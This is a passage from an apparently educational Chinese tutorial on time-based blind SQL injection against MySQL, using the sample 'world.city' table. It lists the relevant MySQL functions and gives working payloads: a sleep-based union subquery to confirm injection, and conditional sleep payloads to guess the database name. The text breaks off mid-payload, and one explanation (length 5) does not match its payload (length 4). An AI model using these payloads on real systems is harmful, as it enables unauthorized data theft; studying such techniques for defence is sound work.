-
说明
目标数据库类型: MySQL 数据库:world 表:city 列:ID Name CountryCode District Population
-
时间盲注时,涉及的函数
sleep(s) SQL语句暂停执行时间s秒 mid(s,n,len) 从字符串 s 的 n 位置截取长度为 len 的子字符串 length(s) 返回字符串 s 的字符数 if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。 substr(s,n,len) 从字符串 s 的 n 位置截取长度为 len 的子字符串 ascii(s) 返回字符串的第一个字符的 ASCII 码 limit 强制 SELECT 语句返回指定的记录数 database() 当前使用的数据库
-
注入点
传递参数中加入sleep(10),看一下页面返回是不是有延时。
不详细说怎么判断注入点了!
我这里注入点为id
正常SQL语句为 SELECT * FROM city WHERE `id`= -
判断注入点
(select * from(select sleep(12)union/ select 1)a)
爆当前用户、数据库版本,我省掉了
-
爆数据库
猜数据库长度 (if((length(database())=4),sleep(5),0)) 逻辑: 如果数据库长度为5,就执行sleep(5) 猜数据库名 sleep(if((mid(database(),1,1)=